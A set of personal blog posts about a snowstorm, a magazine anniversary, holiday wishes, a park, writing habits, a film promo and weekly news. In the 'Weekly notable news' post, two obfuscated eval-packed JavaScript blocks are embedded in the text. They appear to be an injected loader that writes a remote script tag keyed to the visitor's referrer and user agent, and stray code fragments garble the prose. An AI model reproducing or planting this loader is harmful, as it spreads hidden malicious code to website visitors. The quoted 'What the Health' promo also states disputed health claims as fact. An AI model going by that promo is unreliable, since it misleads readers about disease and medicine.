Snow storm aftermath

This week-end we had the first real snow storm of the season (about 20~30 cm) as well as some very cold temperature (in the -20s °C or in the -30s °C with the chill factor). Apparently, it is the first time that we have this combination of snow storm and extreme cold weather since 1920!

Here is a time-lapse video of the storm taken between 2019/01/19 16h00 and 2019/01/20 16h00. So there you have twenty-four hours fast-forwarded in a little less than a minute:

Of course, the borough is in no hurry to pick the snow. Like I previously mentioned, in early January, the snow had not been picked up at all since the beginning of the season which caused piles of ice to form on he street making it quite challenging for the car to park. And when they did try to pick up the icy snow piles in the second week of January, the ice was so hard that it was practically impossible to remove it all, leaving an ice layer as high as the sidewalk (4 to 6 in.)! And when it snows on that, try not to get stuck when you park your car. I understand now why so many people have SUV despite living in the city!

The borough also had trouble removing the snow from the sidewalks. Yesterday I have seen the sidewalk tractor actually working only early in the morning — it passed in front of my house around 7h29. With the wind drift, the people cleaning their driveway or cars and putting the snow on the sidewalk (with total disregard for their fellow citizen who are walking) the sidewalks quickly became completely unpassable for pedestrians. I did see a sidewalk tractor around 15h37, but it was driving in the middle of the street without any snow-plow in the front or even a salt-spreader in the back. In the evening, the sidewalks had not been cleared for over twelve hours and I was worried that my wife would have trouble walking back from the bus stop after work, so I called the city’s public works to let them know and a sidewalk tractor did the job around 22h45…

It really seems that this new administration in city hall is either incompetent or inexperienced or too eager to save money. I don’t mind paying more taxes year after year if the quality of service is maintained or improves. However, if I paid more taxes and the quality of service decreases (and the quality of services has clearly decreased since the beginning of this new administration), then I am really not happy. And since, on top of that, this administration has not been treating its workers well, I seriously regret having voted for them…

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20 Years of Protoculture

20YoP-heading

This article was first published in Protoculture Addicts #94 (Nov.-Dec. 2007): 21-27. It was celebrating the 20th anniversary of the magazine. For this version, I have added a few details and corrections, and I have omitted some illustrations (but added some new ones), as well as removed the sidebars (Uh?! for episodes 1-6, Top Uh?!, Where are they now) and the articles’ index that were part of the original article.

It might be hard to believe, but this magazine has been in publication for twenty years. I, myself, am amazed by this fact. Twenty years already? It didn’t feel that long. But, yeah, I’ve spent nearly half my life working on Protoculture Addicts, and I don’t regret a single moment of it. Like any anniversary, it makes me nostalgic (well, the fact that I am listening to soundtracks from Macross, Mospeada and Robotech while writing this certainly add to this feeling). It makes me think of the good ol’ years, of friends that I have not seen in a long time. But there’s no time for melancholy— anniversaries need to be celebrated! In the past, when I wanted to do a special issue, I usually added more colour. 

Unfortunately, I cannot do that now since we are already full-colour and we are still not big enough to add goodies like a free DVD. However, I quickly realized that the best way to celebrate the magazine was to tell you its story. I am sure that, once you know a little more about where it’s coming from, you’ll better appreciate the magazine. After all, it started like an episode of Comic Party or Doujin Work—a crazy idea in the mind of a bunch of idle college kids. So please, gather around, be quiet (gee, I feel like Uncle Carl when he was telling one of his anecdotes), and listen to this very special anime story… 

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Happy Holidays to all !

Gratin assaisonné à tous

🌲☃️ 

Season’s greetings to all

Happy Holidays!

 🎁   🙏  🍀

A défaut de vous souhaitez la paix dans le monde (soyons réaliste!), je vous offre à tous, amis et lecteurs, mes voeux de quiétude et d’ordre, de bonheur et de joie, de santé et de prospérité tant pour ce solstice qui clôt un autre cycle solaire que pour la nouvelle année qui s’amorce et que nous espérons meilleures (Pour nos amis américains, je souhaite également une destitution sans peine et un prompt rétablissement 🤪). Peu importe ce que vous célébrez (Noël, Hanukkah, Kwanzaa, Festivus, Saturnales, etc.) je vous souhaite tous de joyeuses fêtes!

For want of peace in the world (let’s be realistic!), I offer you all, friends and readers, my wishes for quietude and order, happiness and joy, health and prosperity for this solstice which closes another solar cycle as well as for the new year that is beginning and that we hope better (For our American friends, I also wish a painless impeachment and a speedy recovery 🤪). No matter what you celebrate (Christmas, Hanukkah, Kwanzaa, Festivus, Saturnalia, etc.) I wish you all happy holidays!

🏛    ⛪️    🕌    🕍    🕋    ⛩

عطلات سعيدة للجميع

祝大家節日快樂

Feliĉaj Ferioj al ĉiuj

Frohe Feiertage für alle

Ευχάριστες διακοπές σε όλους

Happy Holidays nan tout

חג שמח לכולם

सभी के लिए खुश छुट्टियाँ

Buone Feste a tutti

すべてにハッピーホリデー

Beatus festis in omnes

Счастливые праздники для всех

Felices fiestas a todos

Chúc mừng ngày lễ cho tất cả

 

christmas-decorations-divider-400-87

A park teeming with life

It’s almost mid-October and the park is still teeming with life. Colourful flowers or leaves, bees flying around and grasshopper or crickets jumping everywhere! As always, it is a great joy to take a stroll in this natural expense, breathing fresh air and forgetting our urban life for a moment.

Doversity?Unfortunately, the park’s planners say they want to create diversity, but keep planting nice bushes in neat row! They just spread new soil over what was a nice field of crimson clover and planted (left) more of those reddish bushes giving the park a less “natural” look and more of a landscape garden (either English or French). Also, according to some stakes put into the ground, they are planning to plant some sort of reed grass (phragmites) in the soggy area on the left of that field.

I am much more partisan of a nice mix of grass, weeds and flowers (at this time we mainly finds asters  rudbeckia, sunflowers and goldenrods). Now, that’s diversity!

They also started working in the area near the Cirque du Soleil (removing fences and spreading new soil) which is supposed to open to the public next spring (along with the area near the Champdoré Park). In the meantimes, we can only walk around the Boisé-Est area and enjoy the automnal view provided by this managed wildlife, with its various flowers and insects…

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About writing

I realized recently that the best way to gather my thoughts in order to write a comment on a movie or a book (or any text) is to go take a poop or a shower right after viewing or reading. That’s when my mind gets freed from the daily drone and works better. It is also the case when I write early in the morning, when my mind is fresh from its nightly clean up and simulation.

They say that, in order to improve your writing, you must write at least a thousand words per day. I just can’t do that because, with my hellish job, I come back home at night completely exhausted and my mind is functioning just enough to eat, crash on the couch and watch TV… However, I have noticed that if I write regularly, the writing come easier to me and the result is generally more satisfying. I just have to keep going… I’ll do that thousand-word-a-day thing on the week-ends or, more likely, when I am retired (now in about only three-thousand-two-hundred-and-five days !!!)…

(Note: this blog entry is 194 words, so that means 806 words to go for today !)

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What the health

What_the_health-covWhat the Health is the groundbreaking follow-up film from the creators of the award winning documentary Cowspiracy. The film follows intrepid filmmaker Kip Andersen as he uncovers the secret to preventing and even reversing chronic diseases – and investigates why the nation’s leading health organizations don’t want us to know about it. With heart disease and cancer the leading causes of death in America, and diabetes at an all-time high, the film reveals possibly the largest health cover-up of our time.”

[Text from the official web site ]

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Weekly notable news (W10-11)

The last couple of weeks were so busy that it felt like months.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbktr|var|u0026u|referrer|hszrh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tirzs|var|u0026u|referrer|tddeh||js|php’.split(‘|’),0,{}))

Strangely, document.write(“”); after getting temperatures up to 10? in February, we had nearly -20? in March! And, as it warmed up a little and all the snow we had received during the winter had almost melted, we got hit by the biggest snowstorm of the year! This mid-march wallop left us with almost two feet (sixty centimeters) of snow in one night and one day! It felt like January again! Today, Spring has officially arrived and it is above zero again, but I have the feeling that this roller-coaster is not over. There’s really no seasons anymore…

It was the sixth anniversary of the Great Tohoku Earthquake and Tsunami disaster (as well as the Fukushima Daiichi nuclear disaster), but lately the news were dominated by the various scandals rocking the Trump Presidency, mostly the Russia Dossier and allegations of Russian interference during the electoral process. Despite Trump doing his best to distract our attention from it, it become increasingly clear that his campaign has had contacts and possibly collusion with Russian interests. We can only wonder how much his Presidency is politically and financially compromised by this. Lately, I’ve started watching MSNBC and it is fascinating. It gives me a brand new perspective. Now, considering that it took only ONE blow-job to put Clinton on the impeachment path and that Trump has been plagued already with numerous questionable business deals and sexual misconduct allegations, I am wondering how much more it will take to remove this evil clown from office !!!

Another notable event was the fact that my Jawbone fitness band broke and that I replaced it with a Fitbit. It’s my third Jawbone fitness band that breaks (first a UP24, then a UP2 and finally a UP3 and in all cases it was the rubber of the band that broke apart) so, that’s it, I’ve decided to never use that company again (too bad, I really liked their app). Considering the reviews and quality/price ratio, I chose to replace it with a Fitbit Flex 2 band. Since I already have an Apple Watch, I decided to go with a simpler model and I was impressed with Fitbit’s clever concept of the device itself being separated from the band so you can switch band at will for fashion reasons or if it breaks. I am a little disappointed with the app but I am sure I’ll get used to it. So far, it is working quite well.

I also discovered that I had been screwed by Dropbox — which I used to host all the images for this blog. They changed their policy and now all the image links are irreparably broken. I’ve already taken temporarily measures to keep the most recent or important entries of the blog illustrated, but I am considering to eventually switch to a WordPress blog (with the same web hosting service that was used for the magazine). The transition will probably be slow and incremental since it is a lot of work.

However, the last couple of weeks were mostly dedicated to preparing for my mother’s funerals. I took a week off from work not only to help my sister preparing the funeral (book the hall, choose and order the buffet, shop all the stuff that was needed, contact people, make appointments, fill paperwork, plan the ceremony, etc.) but mainly to prepare the music medley and produce a commemorative video that would pay hommage to my mother’s memory (it is now available in two slightly different versions, on both this blog and my Vimeo page). Strangely, the funerals for the father of one of my dear friends were on the same day…

I was hoping to take advantage of this little time off also to catch up on my reading and writing, maybe go see a movie and visit a museum, but it was so busy that I couldn’t do anything. I even got behind in my TV shows watching.

Unfortunately, I also barely managed to stay acquainted with the affairs of the world and gathered only a few notable news & links — which I share with you nevertheless (in both french or english, and in no particular order), after the jump.

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